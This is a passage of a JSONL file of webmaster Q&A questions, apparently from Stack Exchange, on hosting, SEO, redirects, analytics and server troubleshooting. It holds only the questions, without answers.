hosting. I'll create some answers with a few hostings that I've been recommended. Please feel free to vote and add comments about them or reply with another. Thanks!"}
{"id":"17589","title":"Hosting for a Ruby on Rails application","text":"> **Possible Duplicate:** > Web hosting options for Ruby on Rails applications I am a Ruby on Rails developer and I am planning to purchase an hosting space in order to publish my web application (I'm developing a small Social Network). This is my first time that I try to deploy a Ruby on Rails application, so I am not expert on the matter. I would like to find a \"compromise\" between performance and price. I think that for now a shared server it is enough (maybe) for my needs (suggestions are appreciated...). In localhost I am using * Ruby on Rails 3.0.9 * ruby-1.9.2-p136 * Apache * Phusion Passenger * MySql so the hosting server should satisfy the above requisites. More: in my application I am using the Paperclip gem so another requisite should be Image-Magick. What hosting service do you advice for my needs? What should I have to care when I purchase a hosting space for RoR? And, most importantly, which hosting service do you advice? P.S.: if you need some other information just ask and I will update the question."}
{"id":"53915","title":"Does seperate marketing website and main web application make sense?","text":"I am working on a website that offers a service to customers. As part of this, there is obviously lots of informational, marketing and news information, as well as a regular \"backend\" where actual customers signup, login and then make use of the service. The informational site requires fairly frequent updates from marketing. Marketing is constantly concerned with SEO, news updates, PR etc. The main backend site still requires a lot of development, but this is a \"registered\" user only area. It doesn't need SEO and such frequent updates. The two seem fairly distinct to me. For this reason, I am thinking of splitting out the informational website into www.example.com and the regular backend into user.example.com or another similar subdomain. Are there any problems with this approach?"}
{"id":"1055","title":"How do I create styles for IE7 (and below)?","text":"> **Possible Duplicate:** > What are the best ways to implement cross browser css? I have a site that looks more or less the same in all browsers except Internet Explorer (version 7 and below). How do I create styles that only IE7 and below will recognize?"}
{"id":"21932","title":"How can we secure our web application codes?","text":"I have a web application written in the Struts2 framework. I want to host the application with another company. Is there any way to hide the code which is hosted on the server? What I want is to hide the code from anyone who has access to the server. Using the application would be allowed, but viewing the code prohibited."}
{"id":"64930","title":"Can different properties be on multiple domains or should everything be centralized on one?","text":"In my case, I have a web design project for a funeral home. On their property they have a funeral home (for services, offices, ...) and a large cemetery also. Additionally, they own three more cemeteries across the state. I can either incorporate each location (including the funeral home) into one website, or... Create a main domain name for the funeral home and then buy a separate, unique name for each cemetery (including the cemetery on the funeral home property). The funeral home location is considered the headquarters of operations for their company, so it makes sense to make the funeral home the \"portal\". Then for each cemetery, I'll purchase a unique domain name. I mostly want to do this for design; to separate the business of funeral homes from the beauty of cemeteries. However, from an SEO standpoint, I'm clueless. Is this recommended? Does Google hate this kind of thing?"}
{"id":"46656","title":"Multiple IP addresses to a server","text":"I am trying to figure out the best option for web hosting of a startup business. I want to get a VPS hosting for this business and one factor that affects the price is the number of IP addresses. I was wondering what would be the advantage of having multiple IP addresses for one server. I have read the other questions and I know if I am going to use SSL for multiple websites on my server I would need unique IP address for each one but in this case I only would have one website."}
{"id":"23359","title":"Adding a Forum to my site: build one from scratch or use existing open-source platform?","text":"_Note: I posted this originally to stackoverflow.com, had it closed, and was told to post it on programmers.stackexchange.com. So I posted it on programmers.stackexhange.com, had it cloased, and was told to post it on webmaster.stackexchange.com. Here's my last attempt to get some help and direction on this nerve-racking problem._ I've been pulling my hair out for weeks trying to decide which way to go. One of my LAMP sites is several years old and my users have requested a forum. My site is custom-built by myself, and the forum would have to integrate fully with my site so that it actually looks, feels, and behaves like my site. For example, I have a site-wide messaging system on my site that alerts users whenever they receive a new message no matter where on my site they are on, so this feature would have to be extended to the Forum. I would also like to be able to limit access to certain sub-forums based on criteria from my site as opposed to criteria from the forum. I don't need a full-featured forum as it will not be the main focus of my site, just a feature of it. **The question is, do I use an existing forum platform and integrate it with my site or do I just build one from scratch?** The pros\/cons are relatively obvious, but I can't decide which way to go and it's crunch time. The pros of using an existing open-source platform is that they are tried and tested, secure, have a lot of built-in features, community support, and would save me a lot of time. The cons are that they seem to severely limit how tightly and well I can integrate it with my site and my site's features, not to mention that most are overkill for what I need (bloatware). All the forum packages I have looked at (and I've looked at MANY), are all front-end solutions that will behave like an external add-on to my rather than an integral part of it. I have not found any fully-customizable \"backend\" forum solutions. This means that I will need to customize the forum to fit in with my site, but if that means altering core files, it will make the forum difficult to upgrade. Building the forum from scratch means I need to re-invent the wheel with all the potential problems that might raise, but on the other hand, I can program the forum so that it does everything exactly the way I need it to, making it an integral part of my site rather than an external add-on to it. So, what do you recommend and why?"}
{"id":"48650","title":"Website still displays deleted files","text":"I went to update a website's CSS today and noticed whenever I uploaded the file with my changes nothing would happen - no changes would appear on my site. This was the same with any of the images I wanted to change. Experimenting, I changed the actual file name, uploaded it and changed the link to the external style sheet - it worked as expected. I then deleted the the CSS file completely...but still the website behaves as normal. I've cleared my browser's cache of course and that made no difference. Would anyone know what's going on? Is there something caching the entire site somewhere? (I am using FileZilla. All other sites I have are behaving normally. There are no errors appearing in Filezilla's log when I upload or delete)"}
{"id":"20123","title":"How to know if a domain belongs to a person or not?","text":"We're almost done on creating a hosted CMS solution (something like Weebly). We offer people to create a website with 3 different options: 1. If they don't have a domain yet, they can create a sub-domain 2. If they don't have a domain yet, but they don't want to have a sub-domain either, they can buy their own domain (we're a re-seller of a big registrar) 3. If they have a domain already which has been registered by another registrar, we want to offer a feature, so that they can use that domain with our CMS. 4. If they have multiple domains, they can park'em on the same CMS instance, so that they can see their websites with many domains. However, they should follow some steps, so that their domain name would be resolved to our servers. For example, one step is that they should change their name servers info. But a business requirement has been posed by the stakeholders and product owner, and that is, we want to get sure that people are true owners of the domains registered by other registrars. In other words, when a user wants to add another domain to his\/her CMS instance (parking a new domain) and this newly added domain is not registered by us, we want to get sure that the domain really belongs to him\/her. What options and solutions do we have? How can we get sure that Bob for example is the owner of **second-domain.com** domain, when he's parking this domain on his CMS (which is already accessible via **first-domain.com**?"}
{"id":"43628","title":"Which webserver to use for multiple sites?","text":"Which webserver should I use if I'm going to host about 30 sites and all are using Wordpress. Each site receives about 1k+ visitors daily. Which webserver should I use apache or nginx? I only have 1GB RAM on the vps"}
{"id":"49175","title":"Bingbot Crawling URLS Like Folders, Causing Thousands Of 404 Errors","text":"I first started seeing this a little over two months ago on a site I run but now I am seeing it on several others I manage. It appears the bot is trying to parse the URL into folders and this is what's causing the issue. For instance this URL is correct: http:\/\/amgoa.org\/Proposed-Alaska-Gun-Law-SCR6\/State-Law\/8895 But then Bing tries to access this URL: http:\/\/amgoa.org\/Proposed-Alaska-Gun-Law-SCR6\/State-Law And then this URL: \/Proposed-Alaska-Gun-Law-SCR6 (sorry cant post more than 2 complete links) The second two of course throwing a 404. This site has over 67,000 pages and this error on their part is driving us nuts, loading up the error logs with tens of thousands of 404 for URLs that are incorrect. About a month ago I built an xml sitemap script hoping that would solve the issue. I submitted it to Google and Bing via the webmaster tools section. Google correctly indexed all 67,000+ pages while Bing is sitting there trying to parse these non existent URLs. Has anyone else seen this and more importantly does anyone know how to either stop this or contact Bing to get them to stop?"}
{"id":"48388","title":"Google Analytics page views and page hits","text":"I have Google Analytics tag in my site and it seems that GA (4-10 views) is much lower in reporting page views as opposed to my web app which reports around 350 views. Is there a reason why this is happening? Is Google Analytics page views reliable source?"}
{"id":"48383","title":"Website starts showing 404 after 301 redirects via .htaccess","text":"One of my clients websites started getting 404 messages on some pages after doing 301 redirects via _.htaccess_ file. I don't understand why that happens, could someone tell me what went wrong? The website is published using Wordpress."}
{"id":"48381","title":"Track exit link and ads with PHP","text":"I want to track exit links on my website and also exit ads like Google Adsense etc. I mean by exit ads is that when click on add I get ads dimension and ads type like Google or other ads. In short I want this: Google Adsense _160x600_ like in `statcounter.com`."}
{"id":"44717","title":"Does HTML5 video cache the entire video before playback or does it stream?","text":"I have an HTML5 page that plays a small video (1.5MB) with autoplay and loop enabled. The problem is, sometimes it takes up to 10 seconds after loading the page before the video starts playing. I've seen this happen in both Firefox and Chrome. The only explanation I can think of is that the browser needs to download the entire video before playback begins. Is this normal, or have I perhaps encoded the videos in a streaming-unfriendly way? Edit: The video is 10 seconds of 25 fps video encoded by ffmpeg, here are the parameters I used to build them: \/\/OGV (Theora\/Vorbis - used for firefox) ffmpeg -i input -b 2000k -vcodec libtheora -acodec libvorbis -ab 160000 -g 30 video.ogv \/\/MP4 (Used by IE, Safari, Chrome) ffmpeg -i input -b 1500k -vcodec libx264 -vpre slow -vpre baseline -g 30 video.mp4"}
{"id":"42653","title":"Google Analytics track transfer to sister site as not an \"exit\"?","text":"I have two domains (i.e. example.com and foobar.com) and I have **separate** Google analytics properties for the two domains, but since I own the two (and they link to each other), I would like to know how many exits from one are really transfers to the other (and have them not really be \"exits\" from GA's perspective). I know I can trigger an event on an outbound link, and I could do the math of \"number of exits minus number of \"sister site\" events\" to figure out the number, but it would be best if those transfers were simply not registered as exits at all. Is there a way to flag an outbound link as \"this is okay, they're not really leaving my family of sites\" so it doesn't get marked as an \"exit\"?"}
{"id":"42650","title":"What is the critical user mass for a forum or Q&A?","text":"If you start a forum or a Q&A site. At the begining you would create the content yourself. At some point you get visitors from google. What do you think: How many users du you need to run a forum or Q&A? I mean that the visitors start to register and to contribute. I hope to hear some real life examples or estimates. **Edit** : Maybe the question is not fully correct. Probably it is also important to know other parameters like: \"How many active topics are on the site\" ..."}
{"id":"60845","title":"How to embed G+ reviews on my website","text":"I've started collecting G+ reviews for my company. As reviews help build trust and increase conversion rate I would like to include them on my webpage. Does Google provide a way on how to embed the G+ reviews on my site? I need to embed the number of stars, name, date and text."}
{"id":"56390","title":"Dynamically sitemap","text":"I submitted to google webmasters my sitemap. I'm creating sitemap dynamically every day, it is just adding new links every day. Cause my site is news portal and every day we are adding news. So I'm generating new links in my sitemap every day. Do I need to resubmit it to google or google will detect it on it's own."}
{"id":"27863","title":"Multiple fonts in a website","text":"I have been creating a blog and now its almost done. I am thinking of adding fonts to it. I am curious if having more than 1 font in a website makes it look unprofessional? I understand that it is a personal opinion of a person how the site should look but my site is a blog so I want to consider how visitors might feel seeing multiple fonts on a website. Does it look standard? In short: How many fonts should one use so that readability does not get affected? Thanks in advance."}
{"id":"48034","title":"ad networks that let you run your own cookie targeting","text":"We've got some proprietary cookie targeting software which we are developing to help deliver better targeted ads. We dont have a group of publishers, nor particularly want to go and build our own network as this is almost as difficult as building the targeting software. Are there any networks out there that will let us run our own cookie targeting script on their network \/ publishers."}
{"id":"27865","title":"How do i found developers groups to let they build my own startup?","text":"As for the title, i would like to meet some developers groups to pay them to build startups, doesn't matter where they are located, just they should speak english. does anyone knows how can i found them and where? thanks!"}
{"id":"45000","title":"Is Codeschool.com recommended in addition to Lynda.com?","text":"Does Codeschool's ability to perform activity \/ test \/ game \/ training as their approach, offer something that achieve studying faster and more effectively than Lynda.com's exercise file \/ video structure doesn't."}
{"id":"41078","title":"Define page load time","text":"Google Analytics reports our site to have an average page load time of about 4.5-6 seconds. Naturally, this sounds as a concern. However, we never see these page load times when the page is rendering, it feels like it takes around a second. The reason for the discrepancy here I believe is that GA measures every single request, even those that does not produce screen content. Such requests might be third-party scripts such as the GA-script itself and other resources. Thinking about web usability I'm really only interested in how the response times feel to the user. Am I right? Also, is there a standard way to measure the actual time it takes for the page to render? Using Google Speed Tracer I can see that there are 2 DOMContentLoaded events firing but these are at 4.83s and 5.36s respectively."}
{"id":"44789","title":"aligning 3 divs","text":"I'm good at some things but html\/css layout isn't one of them. I need to lay out a page with two divs on the left, div1 (height 30%, width 30%) on top and div2 (height 7% and width 30%) below div1. These 3 divs to be within a container div. Then I need to add div3 to the right of div1 and div 2. Div 3 to be width 70%, height 100%. *************************************** * div1 * div3 * * * * ************ * * div2 * * * * * * * * * * * *************************************** I've tried every combination of floating, clearing and black magic that I can think of but I can't get div 3 to line up where I want it. I'd appreciate it if someone could fill in the skeleton below with the correct stuff to accomplish this layout. <style type=\"text\/css\"? #container {position: absolute;width:100%; height:100%} #div1 {position:relative;width:30%;height:30%;} #div2 {position:relative;width:30%;height:70%;} #div3 {position:relative;width:70%;height:100%;} <\/style> <div id=\"container\"> <div id=\"div1\"><\/div> <div id=\"div2\"><\/div> <div id=\"div3\"><\/div> <\/div>"}
{"id":"64816","title":"Use different .htaccess file based on set header from browser","text":"I want to have the ability to test _.htaccess_ rules before saving them to the main _.htaccess_ file. Is it possible to set a specific request header and have Apache use a set of rules from a different _.htaccess_ file."}
{"id":"37541","title":"Domain registered with Fake info!","text":"> **Possible Duplicate:** > Providing fake info during domain registration - does it matter? I have registered a Domain with fake info 24 hours ago (I didn't know its illegal! :() its still pending (not available yet) I'm not like, criminal or spammer but I don't want to show my real id, what do you suggest so I don't lose my Domain. Can I transfer it to a service like name.com because I heard they provide ID protection!"}
{"id":"10472","title":"Would google consider this a \"link scheme\"?","text":"I work for a County Government. In an effort to improve our search engine rankings I was considering contacting some of the other Counties in my state and seeing if we could setup an arrangement where we link to them and they link to us. It seems like a reasonable thing to have a \"Other Counties\" page with various links on a County website, but it also seems like it's bordering on a link scheme according to Google. When I read Google's article about link schemes it seems like we hit some of the right reasons for having links on another County's site but also some of the wrong. Does anyone have any insight into whether this is a good or bad idea?"}
{"id":"53046","title":"How are the .cat TLD requirements enforced?","text":"When registering a `.cat` TLD, one of the requirements is > Warning: the registration contract for domain names in this extension > require that you publish at least one page in Catalan within 6 months. How is this requirement enforced by the TLD owners? Do they have bots that scan for links going to pages in Catalan? I am trying to determine if this entails any restrictions with regards to the nature of the website itself. If, for example, a page used Javascript to populate the page, would the bots miss this (meaning, single page applications may be undesirable)."}
{"id":"44990","title":"Installing a PHP framework to a host without public_html or www folders (ftp is DocumentRoot)","text":"I've developed a PHP framework that operates with the directory structure of \/ \/classes\/ \/templates\/ \/...\/ \/www\/ (public_html) But I've come across a host that only allows ftp to the DocumentRoot, so this imposes a security risk to my scripts. I don't want the root of the site to point to the root where my framework lies. I've asked a question over at stackoverflow with a question to an .htaccess rewriterule to potentially solve this Is there a better method to do this?"}
{"id":"63173","title":"Can I detect the IP address and location of visitors to my web application who are behind a proxy?","text":"I'm writing a web application and I need to make sure that I have the actual IP address and location of my visitors, since there are many users in Middle East and China using proxy services to bypass the restrictions there. Is there a way to detect this information behind a proxy?"}
{"id":"29271","title":"What are the two different types of google search results called?","text":"## Google SERPs have search results that appear in two different ways:  **Single Search Result**  **Single Search Result withSitelinks** Are there official terms for these? I know that a \"SERP\" is Search Results Page, and I'm fairly certain that a single search result is just called a \"search result\". But what is a search result with Sitelinks called?"}
{"id":"39671","title":"Will these tool tips get me penalized?","text":"I have a page of 10 products. Each product has a list of (7) features associated with it. If a user hovers over the name of the feature, (ex. Moisture resistance), a tooltip description displays. The descriptions (a sentence or two), are loaded once on the page using JavaScript, but the titles are not, so I essentially have a bunch of redundant tool tip titles. I am concerned this will look like keyword stuffing to the bots. Anyone know about this? Maybe I should load the feature titles with JavaScript as well?"}
{"id":"57967","title":"Google Experiments - can you run across the entire site?","text":"Is it possible to run a Google Experiment A\/B test across an entire website, rather than just a single page and a variation? thx"}
{"id":"29275","title":"What does Google do with indexed pages returning 403?","text":"I guess that Google removes already indexed pages that are now returning the HTTP error `403`. Unfortunately I can't find any definitive statement on that matter. Do you know the answer?"}
{"id":"8926","title":"Using SEO to hide a website in a specific location?","text":"A friend of mine wants to build a website, but doesn't want people in the West Midlands area of the UK to be able to see it, but wants areas outside of the West Midlands to be able to see it. Is this possible? I know SEO can be used to target specific countries to improve search results, but could it be used to target specific areas inside a country and to basically remove the website from Google listings for a specific area? Cheers!"}
{"id":"18834","title":"Redirect does not work","text":"I tried to redirect a broken link onto my site by redirect : RewriteCond %{HTTP_HOST} ^.*$ RewriteRule ^domian_registration\\.html$ \"http\\:\\\/\\\/mysite\\.com\\\/domain_registration\\.html\" [R=301,L] But it responds with error (404 Not Found) and redirects to following URL: mysite\/home\/[Cpanel user]\/public_html\/domain_registration.html What's the problem?"}
{"id":"18525","title":"Blog suitable Adsense format","text":"I saw blog which has nice formated Google Adsense ads, but I don't know how to generate them. Here is a screenshot: http:\/\/imgur.com\/U0mzk (sorry for plain link but I'm too fresh here to use img tag ) Is it text link format or what?"}
{"id":"33769","title":"Domain Redirect to another using CNAME Record","text":"I have a Domain, lets say `maindom.com`, now I want to have another Domain, lets say `secdom.com` to point to `maindom.com` such that all the URL's leads to `maindom.com`. I want to do this with the help of CNAME records **only**. I can use third-party services also. Example: `secdom.com\/rand123` Leads to `maindom.com\/rand123` `secdom.com\/ano2484\/anot` Leads to `maindom.com\/ano2484\/anot` `secdom.com\/tesecqz?id=45` Leads to `maindom.com\/tesecqz?id=45` I tried adding a CNAME record to `secdom.com` with value `maindom.com`, but just din't work. Another point to note is that the IP of `maindom.com` host other websites also and not just this one, this can be a problem I guess. How to do this? Any help is appreciated."}
{"id":"30583","title":"how to start sendmail - WP email turned off","text":"I have a WP site on a linux box. Our email was working fine in Wordpress but recently it stopped, I think because of a restart. All I could think of was to restart sendmail. I couldn't find sendmail in the normal directory (\/etc\/init.d\/sendmail restart) but that didn't exist. I found another directory for sendmail in the sbin but every time I try running it it doesn't respond and I have to exit. This is all what I tried. Any ideas? [root@li209-134 ~]# \/etc\/init.d\/sendmail restart -bash: \/etc\/init.d\/sendmail: No such file or directory [root@li \/]# find . -name sendmail -print .\/usr\/sbin\/sendmail .\/usr\/lib\/sendmail [root@li \/]# .\/usr\/sbin\/sendmail restart ^C [root@li \/]# sudo \/usr\/sbin\/sendmail restart ^C [root@li \/]# sudo service sendmail start sendmail: unrecognized service [root@li \/]# \/usr\/sbin\/sendmail start ^C [root@li \/]# \/usr\/sbin\/sendmail ^C [root@li \/]# \/usr\/lib\/sendmail start ^C"}
{"id":"59521","title":".htaccess port 80 to another port SEO impact?","text":"I am using the Ghost blogging platform. By default to access the blog you go to `blog.my-site.com:2368` of course this makes for a ugly, unfriendly URL. I am using _.htaccess_ to change the behavior so when a person types in `blog.my-site.com` they see the URL. I used the following code: Options +FollowSymLinks -MultiViews # Turn mod_rewrite on RewriteEngine On RewriteBase \/ RewriteCond %{HTTP_HOST} ^blog.mywebsite.com$ [NC] RewriteCond %{HTTPS} off RewriteRule ^ http:\/\/blog.mywebsite.com:2368%{REQUEST_URI} [P,QSA,L] From my understanding this is not a redirect, but rather transparently sends the traffic from port 80 to port 2368. My question is this: Does this process have any impact on SEO or, in the views of SEO, it is the same as `blog.my-site.com`?"}
{"id":"48554","title":"Googlebot getting \"301 Moved Permanently\" according to \"Fetch as Googlebot\" in Webmaster Tools","text":"I launched a website four days ago, and now when I try to crawl the website like Google bot in \"Google webmaster tools\" I end up with a response like this: HTTP\/1.1 301 Moved Permanently Date: Thu, 16 May 2013 21:37:26 GMT Server: Apache Location: http:\/\/example.com\/ Content-Length: 294 Keep-Alive: timeout=10, max=29 Connection: Keep-Alive Content-Type: text\/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC \"-\/\/IETF\/\/DTD HTML 2.0\/\/EN\"> <html><head> <title>301 Moved Permanently<\/title> <\/head><body> <h1>Moved Permanently<\/h1> <p>The document has moved <a href=\"http:\/\/example.com\/\">here<\/a>.<\/p> <hr> <address>Apache Server at www.example.com Port 80<\/address> <\/body><\/html> What is the problem ?"}
{"id":"30239","title":"Website with a 30% non english content (70% english) can be accepted in Tribal Fusion?","text":"I'm just wondering If a website has a 30% non English content, will the Tribal Fusion Ad Network still accepts it's application. My website has a 30% non english content and 70% english. I don't want to submit my application because if they reject my application, i'll be waiting again for the next 6-8 months for reapplication. This might be my 2nd time to apply to Tribal Fusion. The first time, i got rejected is because i dont meet the 500K unique visitors \/month. As of today, I am hitting the minimum unique visitors per month. I just need to be sure and very careful. please understand... Can somebody shed some light here?"}
{"id":"15178","title":"Where does the HTTP referer \"applewebdata\" come from?","text":"My site uses a web stat service like Google Analytics, it uses a piece of javascript code to log what pages the visitor has visited and the refer url of each visit. I got some referer \"applewebdata\", wonder where is those visitors from?"}
{"id":"34264","title":"Root Domain Redirects Incorrectly To Https instead of to WWW","text":"Why do visits to my website work without \"www\", but not to specific pages on it? I recently moved my website to a new webhost, RedHat's OpenShift (a PAAS). It requires using Cname records to setup custom domains, something my domain name registar (1&1) does not support without a hosting plan. So instead I setup Cloudflare in-between my domain and web host, and setup a Cname record on it. I then pointed a 1&1 \"www\" sub-domain to CloudFlare, and then pointed my 1&1 root to \"www\" sub-domain. This works fine for visiting to my homepage, but for some reason it does not work when visiting a specific page without \"www\". Instead of adding \"www\", it goes to HTTPS, which is strange."}
{"id":"30231","title":"Safari HTML for Planck Constant\/Reduced Planck Constant","text":"I want to display the symbols commonly known as h and h-bar. This is for Safari and iOS. What do I enter into my html? If there is a table of such things somewhere, a reference to it would be great. Thanks!"}
{"id":"7100","title":"Is the W3 standard a major factor when google decides SERP position?","text":"I have a dynamic php website which index only has around 800 errors according to the w3 validator online. I have tried checking major websites like ebay, stackoverflow and others also, all with around 400 errors. So my first thought is, what good is that validator when it always displays errors? Secondly, will the errors affect my SERP ranking? ie, will me fixing these errors as good as I can increase my Google search position? Thanks"}
{"id":"29185","title":"Wordpress website with slow response (only for the first request)","text":"I've a weird issue with my wordpress website ( http:\/\/rohitnair.info\/) . The \"first request\" takes ages to respond. Any subsequent requests behave normally. Things I've observed while debugging * Clearing the browser cache and reloading works fine and the page loads fast enough * Clearing the cookies and reloading reproduces the issue. I thus define \"first request\" in this context as a request with no cookies set for the domain. Another easy way to reproduce this issue is to use curl and not send any cookies. This is the output of curl -v $ time curl -v rohitnair.info * About to connect() to rohitnair.info port 80 (#0) * Trying 23.21.171.95... connected * Connected to rohitnair.info (23.21.171.95) port 80 (#0) > GET \/ HTTP\/1.1 > User-Agent: curl\/7.19.7 (i386-redhat-linux-gnu) libcurl\/7.19.7 NSS\/3.12.9.0 zlib\/1.2.3 libidn\/1.18 libssh2\/1.2.2 > Host: rohitnair.info > Accept: *\/* > **long wait** [response] * Connection #0 to host rohitnair.info left intact * Closing connection #0 real 1m0.518s user 0m0.003s sys 0m0.011s As can be seen, the server takes more than a minute to return the response. The stack is wordpress + nginx and hosted on Amazon EC2. I've also noticed that the request does not show up in the nginx access log till the response is served or the request is cancelled (not sure if this is expected behavior) I'm completely lost as to what could be causing this issue. Any help would be much appreciated!"}
{"id":"29184","title":"Google keeps indexing \/comment\/reply URL","text":"With the new update of Google algorithm called Penguin, I think my site was being penalized due to webspam. But of course I don't create post which seems to be spam to Google. It is just I think how Google index my site. I found out that Google index the URL of my site like: http:\/\/www.example.com\/comment\/reply\/3866\/26556 So there are so many comment\/reply URL index by Google. I have already added: Disallow: \/comment\/reply\/ Disallow: \/?q=comment\/reply\/ but still Google still index this URL. Any idea how to prevent Google from indexing comments?"}
{"id":"29187","title":"Redirecting broken links (from external site)","text":"In webmaster tools we found that a bunch of sites are linking to non existent pages on our site. So far I can see 50,000+ links. Is there any downside to redirecting all of these broken links to a working page?"}
{"id":"29189","title":"Migrate content to new domain without 301 redirects","text":"I have a domain name http:\/\/extreme-java.com purchased from one.com and pointing to my web hosting account at anhosting.com I want to move the content of this website to http:\/\/somenewdomain.com registered at godaddy.com by making the new domain point to the same web hosting account. Just planning to close the extreme-java domain as it has got a lot of spam backlinks. As per google guidelines about migrating content, they suggest 301 redirects from current domain to get the juice but is it necessary to use 301 redirect in my case as I simply want to dump the extreme-java domain Pls advise."}
{"id":"7109","title":"Getting around US law","text":"Let's suppose that someone is interested in starting a website that might be in violation of some US laws (such as copyright, gambling, pornography, etc.). I know this question isn't in the best taste, so I can understand if it is closed or deleted. Please consider, however, that not everything against US law is considered immoral or unethical to some people. I was reading how many online poker services are based in the Cayman Islands to get around US law. Are there other countries with good hosting services to avoid prosecution by US law? Many laws enforceable in the US are also enforceable in many other jurisdictions (copyright for one), so it would be interesting to know if there are safe havens for sensitive websites."}
{"id":"39786","title":"Why is Verisign spidering my website?","text":"In my logs, I keep noticing that `69.58.178.57`, which is Verisign, is spidering through every page on my website, excluding pages of forms. Does anybody know why they are doing this?"}
{"id":"68164","title":"Make my website dynamically loaded data available to Facebook Open Graph Object Scrapper","text":"Here is the design of my web site: 1. The user enter `myWebsite.com\/a\/1` 2. .htaccess rules redirect to `myWebsite.com\/b` 3. Now the JavaScript ExtJS library is loading. 4. Extracting the value from the URL (in this case it is “1”) 5. Loading `.\/xml\/1.xml` 6. From `1.xml` setting the Open Graph data (Title, type, image, etc) 7. Loading data that will be shown to the user from `1.xml` into the website. My question is: How can I make the Open Graph data available to Facebook? Facebook do not to load my ExtJS JavaScript Library before extracting the Open Graph Object values from the HTML. Is there an easy solution to this problem? The only solutions I found is to make statics web pages or dynamically pages rendered on the server side but I would like to avoid these since my web page implementation is already finished and I would like to avoid re working on it."}
{"id":"49926","title":"Page Speed Performance (shown in Google AdSense) on Blogspot Dynamic Template","text":"In Google AdSense, the Scorecard complains the **Page Speed Performance** of Google Blogger is not good ( marked as Red ). Note: In my Blogger site, I'm using Dynamic Template. Is there anything I can do to improve the speed ? or it is a false alarm ?"}
{"id":"47946","title":"How to add a link to the users sandbox as on Wikipedia?","text":"The page MediaWiki:Sidebar allows you to change\/add to the menu on the left. So how to add or change items in the menu at the top, (is there a MediaWiki:Topbar page)? Specifically, how to add a link to the users sandbox as on Wikipedia?"}
{"id":"18965","title":"Is the google +1 button domain dependent or url dependent?","text":"Is the google +1 button domain dependent or url dependent? Ie: If exampledomain.com has a +1 count of 20, will exampledomain.com\/anotherpage also have a count of 20 ?"}
{"id":"22803","title":"How do you get a user base like Yelp did?","text":"I am working on a website that will be community driven by user generated content. I need people to write reviews and their experiences in similar way as Yelp. What's the best way to offer them value to get and how did Yelp get their initial user base when they started out?"}
{"id":"46879","title":"How do I monitor if SEO tags on my site changed during active development?","text":"I work for a website that undergoes active development, with many production pushes per day. We are heavily SEO-dependent, and as our pages are being changed frequently by devs, we're always worried that an accidental change occurs to our page markup that negatively impacts SEO. Are there tools out there that monitor this (changes to SEO-related markup), and notify you if a change occurs?"}
{"id":"1685","title":"Is content inside a <noscript> tag indexed by search indexes?","text":"Is content inside a `<noscript>` (HTML4, HTML5) tag indexed by search engines? ( _Inspired bythis question_)"}
{"id":"33584","title":"Converting web.config from IIS6 to IIS7 format","text":"I'm a bit stuck, kinda been lumbered with a website developed over a year ago. The company that designed it and the company that own it dont now speak so I have been lumbered with trying to get it to work. Bought the web space and have loaded it on to one of our sub domains while I get it working. Problem is that the Hosting provider is running ISS7 and the _web.config_ was designed in IIS6 so am getting an error500 cause the tags are wrong. Could anyone give me some pointers on how to migrate the current web.config file over to IIS7."}
{"id":"18785","title":"How to block malicious requests before they reach Apache?","text":"I have a RESTful web service that gets hit by a large number of requests coming from various IPs with dummy logins and random inputs. I have already denied these requests at the HTTP level (using the Apache config file) so they get a 403 response. However, it's still an annoyance seeing them pop up in the Apache log file, and they also consume some resources. Is it possible to drop the packets completely? Do I have to do this using iptables? What other ways are there to alleviate this issue?"}
{"id":"34009","title":"Preventing adult content in a forum","text":"I'm working on a forum that allows images attached to the posts and **doesn't require registration**. Thing is, I'd like to provide a work-safe navigation option in which the posts with porn images attached aren't shown. The ideas I've come up with are: * Making the work-safe option the default and treating _all_ posts with images attached as pornographic, and making them visible only if the user \"unchecks\" it. * Making all posts with images attached not work-safe by default and changing their status to work-safe _only after a moderator approved_ it. Only then they would be visible if the user has the \"work-safe\" option checked. Does anyone else have an idea? Also, how the big web services deal with this? (YouTube, CraigsList, even StackExchange). By the way, I don't think that \"nudity detector\" libraries are accurate and they give plenty of false positives and negatives. Thanks!"}
{"id":"58068","title":"Geotargeting based SEO problem","text":"I have a website and it redirects users to their corresponding U.S. states page if they are in the U.S. region. For example, if I am in New York and I go to the website the page automatically redirected me to `domainname.com\/newyork`. If I am from India, it opens the home page and asks me to select the state. So for `domainname.com`, if I search for this website on Google, it shows `domainname.com\/california` as a home page. How can I rectify this? I want `domainname.com` as the home page for search engines."}
{"id":"34003","title":"Forum vs Q&A system","text":"I would like to know what are the parameters that I have to take into consideration before deciding whether I should incorporate to a website a \"Q&A system\" or a traditional forum ? I think forums allow better search capabilities (you can easily dig out old posts) over the \"Q&A system\", but the latter offer simpler \/ faster interaction between the users and the site owners. I should add that only a few people (site owners + authorized people) could answer the questions, the user will be on a read-only basis. Anyone can help me decide between the two solutions ? Thank you in advance NB: There is also the impact on the SEOs, are they the same for forums and Q&A systems?"}
{"id":"30055","title":"1&1 booting policy","text":"Does anyone know what the parameters are for One&one booting policy for their control panel? In that it seems a rather short period of time before you get before being kicked out of One&one and then have to login again, which takes ages. Does it work by a certain amount of inactivity or is there just a set amount of time you can stay logged in before it boots you? Either way, is there a way to override this? I'm in the process of a lengthy transfer of sites (away from one&one) and it's so frustrating to have to go through the long... slow login several times a day!"}
{"id":"34007","title":"Why is \"www.mysite.com\" different from \"mysite.com\"?","text":"In any browser if I use `www.mysite.com` or just `mysite.com` the web page is correctly retrieved, but I am having trouble with Google Analytics and Facebook App. **Facebook:** To be able to get Likes, I create the Facebook App needed and set the site URL to `http:\/\/mysite.com\/`. Using their tool http:\/\/developers.facebook.com\/tools\/debug\/ when I test my page using `http:\/\/mypage.com` it works but using `http:\/\/www.mypage.com` fails with the message: > Object at URL 'http:\/\/www.mysite.com\/' of type 'website' is invalid because > the domain 'www.mysite.com' is not allowed for the specified application id. **Google Analytics:** To be able to get traffic statistics, I created a Property and a Profile both with the URL `http:\/\/www.mypage.com` and no statistics were gathered in a week, when I changed the configured URL to `http:\/\/mypage.com` statistics where available a few hours later. What should I do to have statistics and likes for both `www.mysite.com` and `mysite.com` ??"}
